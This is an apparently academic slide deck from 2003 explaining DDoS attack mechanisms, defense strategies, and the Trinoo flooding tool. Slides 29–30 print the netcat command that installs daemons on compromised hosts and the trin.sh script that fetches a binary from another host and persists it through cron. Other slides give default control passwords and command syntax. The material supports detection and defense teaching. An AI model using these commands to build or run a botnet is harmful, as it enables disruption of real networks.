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An Introduction to DDoS

An Introduction to DDoS. And the “Trinoo” Attack Tool. Prepared by Ray Lam, Ivan Wong July 10, 2003. Outline. Background on DDoS Attack mechanism Ways to defend The attack tool – Trinoo Introduction Attack scenario Symptoms and defense Weaknesses and next evolution. Background on DDoS.

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An Introduction to DDoS

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  1. An Introduction to DDoS And the “Trinoo” Attack Tool Prepared by Ray Lam, Ivan Wong July 10, 2003

  2. Outline • Background on DDoS • Attack mechanism • Ways to defend • The attack tool – Trinoo • Introduction • Attack scenario • Symptoms and defense • Weaknesses and next evolution

  3. Background on DDoS Attack mechanism

  4. Denial-Of-Service • Flooding-based • Send packets to victims • Network resources • System resources • Traditional DOS • One attacker • Distributed DOS • Countless attackers

  5. A V Attack Mechanism • Direct Attack • Reflector Attack TCP SYN-ACK, TCP RST, ICMP, UDP.. TCP SYN, ICMP, UDP With R’s Address as source IP address. R A TCP SYN, ICMP, UDP.. With V’s Address as source IP address. R TCP SYN-ACK, TCP RST, ICMP, UDP.. V

  6. Attack Architecture A A TCP SYN, ICMP, UDP.. (with V’s address as the source IP addresses) Masters (handlers) Masters (handlers) Agents (Daemons or Zombies) Agents (Daemons or Zombies) Reflectors TCP SYN, ICMP, UDP.. (the source IP addresses are usually spoofed) TCP SYN-ACK, TCP RST, ICMP, UDP.. V V Direct Attack Reflector Attack

  7. Attack Methods

  8. BackScatter Analysis (Moore et al.) • Measured DOS activity on the Internet. • TCP (94+ %) • UDP (2 %) • ICMP (2 %) TCP attacks based mainly on SYN flooding

  9. Background on DDoS Ways to defend

  10. Strategy • Three lines of defense: • Attack prevention- before the attack • Attack detection and filtering- during the attack • Attack source traceback- during and after the attack

  11. Attack prevention • Protect hosts from installation of masters and agents by attackers • Scan hosts for symptoms of agents being installed • Monitor network traffic for known message exchanges among attackers, masters, agents

  12. Attack prevention • Inadequate and hard to deploy • Don’t-care users leave security holes • ISP and enterprise networks do not have incentives

  13. Attack source traceback • Identify actual origin of packet • Without relying on source IP of packet • 2 approaches • Routers record info of packets • Routers send additional info of packets to destination

  14. Attack source traceback • Source traceback cannot stop ongoing DDoS attack • Cannot trace origins behind firewalls, NAT (network address translators) • More to do for reflector attack (attack packets from legitimate sources) • Useful in post-attack law enforcement

  15. Attack detection and filtering • Detection • Identify DDoS attack and attack packets • Filtering • Classify normal and attack packets • Drop attack packets

  16. Attack detection and filtering • Can be done in 4 places • Victim’s network • Victim’s ISP network • Further upstream ISP network • Attack source networks • Dispersed agents send packets to single victim • Like pouring packets from top of funnel

  17. Attack detection and filtering Effectiveness of detection increases Attack sourcenetworks Effectiveness of filtering increases Further upstreamISP networks Victim’s ISP network Victim’s network Victim

  18. Attack detection and filtering • Detection • Easy at victim’s network – large amount of attack packets • Difficult at individual agent’s network – small amount of attack packets • Filtering • Effective at agents’ networks – less likely to drop normal packets • Ineffective at victim’s network – more normal packets are dropped

  19. D&F at agent’s network • Usually cannot detect DDoS attack • Can filter attack packets with address spoofed • Attack packets in direct attacks • Attack packets from agents to reflectors in reflector attacks • Ensuring all ISPs to install ingress packet filtering is impossible

  20. D&F at victim’s network • Detect DDoS attack • Unusually high volume of incoming traffic of certain packet types • Degraded server and network performance • Filtering is ineffective • Attack and normal packets have same destination – victim’s IP and port • Attack packets have source IP spoofed or come from many different IPs • Attack and normal packets indistinguishable

  21. D&F at victim’s upstream ISP • Often requested by victim to filter attack packets • Alert protocol • Victim cannot receive ACK from ISP • Requires strong authentication and encryption • Filtering ineffective • ISP network may also be jammed

  22. D&F at further upstream ISP • Backpressure approach • Victim detects DDoS attack • Upstream ISPs filter attack packets

  23. The attack tool – Trinoo Introduction

  24. Introduction • Discovered in August 1999 • Daemons found on Solaris 2.x systems • Attack a system in University of Minnesota • Victim unusable for 2 days

  25. Attack type • UDP flooding • Default size of UDP packet: 1000 bytes • malloc() buffer of this size and send uninitialized content • Default period of attack: 120 seconds • Destination port: randomly chosen from 0 – 65534

  26. The attack tool – Trinoo Attack scenario

  27. Installation • Hack an account • Acts as repository • Scanning tools, attack tools, Trinoo daemons, Trinoo maters, etc. • Requirements • High bandwidth connection • Large number of users • Little administrative oversight

  28. Installation • Compromise systems • Look for vulnerable systems • Unpatched Sun Solaris and Linux • Remote buffer overflow exploitation • Set up root account • Open TCP ports • Keep a `friend list`

  29. Installation • Install daemons • Use “netcat” (“nc”) and “trin.sh” • netcat • Network version of “cat” • trin.sh • Shell script to set up daemons ./trin.sh | nc 128.aaa.167.217 1524 & ./trin.sh | nc 128.aaa.167.218 1524 &

  30. Installation • trin.sh echo "rcp 192.168.0.1:leaf /usr/sbin/rpc.listen" echo "echo rcp is done moving binary" echo "chmod +x /usr/sbin/rpc.listen" echo "echo launching trinoo" echo "/usr/sbin/rpc.listen" echo "echo \* \* \* \* \* /usr/sbin/rpc.listen > cron" echo "crontab cron" echo "echo launched" echo "exit"

  31. Architecture Attacker Direct Attack Masters (handlers) Agents (Daemons or Zombies) Victim

  32. Communication ports • Monitor specific ports to detect presence of master, agent Attacker Master Daemon UDP Port 31335 TCP UDP Port 27444 Port 27665

  33. Password protection • Password used to prevent administrators or other hackers to take control • Encrypted password compiled into master and daemon using crypt() • Clear-text password is sent over network – session is not encrypted • Received password is encrypted and compared

  34. Password protection • Default passwords • “l44adsl” – trinoo daemon password • “gOrave” – trinoo master server startup • “betaalmostdone” – trinoo master remote interface password • “killme” – trinoo master password to control “mdie” command

  35. Login to master • Telnet to port 27665 of the host with master • Enter password “betaalmostdone” • Warn if others try to connect the master [root@r2 root]# telnet r1 27665 Trying 192.168.249.201... Connected to r1.router (192.168.249.201). Escape character is '^]'. betaalmostdone trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/] trinoo>

  36. Master and daemon • Communicate by UDP packets • Command line format • arg1 password arg2 • Default password is “l44adsl” • When daemon starts, it sends “HELLO” to master • Master maintains list of daemon

  37. Master commands • dos IP • DoS the IP address specified • “aaa l44adsl IP” sent to each daemon • mdos <ip1:ip2:ip3> • DoS the IPs simultaneously • mtimer N • Set attack period to N seconds

  38. Master commands • bcast • List all daemons’ IP • mdie password • Shutdown all daemons • killdead • Invite all daemons to send “HELLO” to master • Delete all dead daemons from the list

  39. Daemon commands • Not directly used; only used by master to send commands to daemons • Consist of 3 letters • Avoid exposing the commands by using Unix command “strings” on the binary

  40. Daemon commands • aaa password IP • DoS specified IP • bbb password N • Set attack period to N seconds • rsz password N • Set attack packet size to N bytes

  41. The attack tool – Trinoo Symptoms and defense

  42. Symptoms • Masters • Crontab • Friend list • … • …-b * * * * * /usr/sbin/rpc.listen # ls -l ... ...-b -rw------- 1 root root 25 Sep 26 14:46 ... -rw------- 1 root root 50 Sep 26 14:30 ...-b

  43. Symptoms • Masters (Con’t) • Socket status # netstat -a --inet Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 *:27665 *:* LISTEN . . . udp 0 0 *:31335 *:* . . .

  44. Symptoms • Masters (Con’t) • File status # lsof | egrep ":31335|:27665" master 1292 root 3u inet 2460 UDP *:31335 master 1292 root 4u inet 2461 TCP *:27665 (LISTEN) # lsof -p 1292 COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME master 1292 root cwd DIR 3,1 1024 14356 /tmp/... master 1292 root rtd DIR 3,1 1024 2 / master 1292 root txt REG 3,1 30492 14357 /tmp/.../master master 1292 root mem REG 3,1 342206 28976 /lib/ld-2.1.1.so master 1292 root mem REG 3,1 63878 29116 /lib/libcrypt-2.1.1.so

  45. Symptoms • Daemons • Socket status # netstat -a --inet Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State . . . udp 0 0 *:1024 *:* udp 0 0 *:27444 *:* . . .

  46. Symptoms • Daemons (Con’t) • File status # lsof | egrep ":27444" ns 1316 root 3u inet 2502 UDP *:27444 # lsof -p 1316 COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME ns 1316 root cwd DIR 3,1 1024 153694 /tmp/... ns 1316 root rtd DIR 3,1 1024 2 / ns 1316 root txt REG 3,1 6156 153711 /tmp/.../ns ns 1316 root mem REG 3,1 342206 28976 /lib/ld-2.1.1.so ns 1316 root mem REG 3,1 63878 29116 /lib/libcrypt-2.1.1.so ns 1316 root mem REG 3,1 4016683 29115 /lib/libc-2.1.1.so

  47. Defenses • Prevent root level compromise • Patch systems • Set up firewalls • Monitor traffics • Block abused ports • High numbered UDP ports • Trade off • Also block normal programs using the same ports

  48. The attack tool – Trinoo Weaknesses and next evolution

  49. Weaknesses • Single kind of attack • UDP flooding • Easily defended by single defense tools • Use IP as destination address • “Moving target defense” – victim changes IP to avoid attack

  50. Weaknesses • Password, encrypted password, commands visible in binary images • Use Unix command “strings” to obtain- strings master- strings –n3 ns • Check if Trinoo found • Crack the encrypted passwords

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